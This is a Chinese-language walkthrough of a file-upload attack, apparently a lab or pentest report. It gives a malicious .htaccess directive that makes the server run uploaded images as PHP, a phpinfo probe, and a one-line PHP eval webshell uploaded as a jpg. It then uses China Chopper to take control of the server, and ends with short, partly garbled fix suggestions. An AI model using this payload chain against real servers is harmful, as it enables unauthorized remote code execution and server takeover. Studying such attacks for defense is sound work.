请遵守国家相应法律法规,不要做危害公共安全的行为。
编写代码如下:
SetHandler application/x-httpd-http
将文件改名问可上传文件类型。
抓包捕获请求,将filename更改为.htaccess,发送
上传成功后,上传一个探针,探针内容如下:
<?php phpinfo();?>
将文件改成jpg后进行上传操作,上传成功后进入对应页面进行查看:
编写一句话木马如下:
<?php @eval($_POST['joker']);?>
并改名jpg后上传。
使用中国菜刀,复制上传后文件路径,并输入post内值,类别选择PHP(Eval),点击添加。获取webshell权限
获取成功
漏洞详情及修复建议
漏洞详情:
使用.htaccess文件攻击,.htaccess文件攻击即结合黑名单攻击服务器的
.htaccess文件。通过move_uploaded_file函数把自己写的 .htaccess文件覆盖掉服务器上的这样就可以解析定义名单了。利用这个漏洞成功获取到了目标机器的管理员权限。
.htaccess文件用处:
通过.htaccess文件调用php解释器去解析一个文件名中只要包含例如“haha”这个字符串的任意文件,无论你文件名是什么样子,只要包含”haha”这个字符串,都可以被以php的方式来解析。.htaccess文件内容:
<FilesMatch “haha”>
SetHandler application/x-httpd-php
</FilesMatch>
也可以直接写成SetHandler application/x-httpd-php,这样的话能够将所有的文件当做php文件来解析。
修复建议:
首先说一说什么是.htaccess,.htaccess是Apache Web服务器的配置文件。它是一个非常强大apache配置文件,可用于修改Apache配置,而无需编辑Apache配置文件。配置好后立即生效,不必重启apache服务器。如何创建此配置并使用它来限制目录列表和IP地址,以及处理重定向。
.htaccess文件应该用于需要在每个目录的基础上对服务器进行配置更改但在服务器系统上没有root访问权限的情况。如果服务器管理员不愿意为了进行频繁的配置更改,可能需要允许各个用户自己在.htaccess文件中进行这些更改。
针对.htaccess文件的防御:
配置.htaccess文件一般情况下我们在安装apache服务器后,配置好apche配置文件之后,我们如果经常更改策略,那么我们就可以更改项目安装的跟目录下.htaccess文件了,这样我???我们可以屏蔽某个IP访问或者屏蔽用户代理User-Agent来防止用户对.htaccess文件进行修???
针对文件上传漏洞的防御:
①对上传文件进行重命名,如使用md5加密;
②对文件内容进行检查,使得无法上传含有恶意脚本的文件。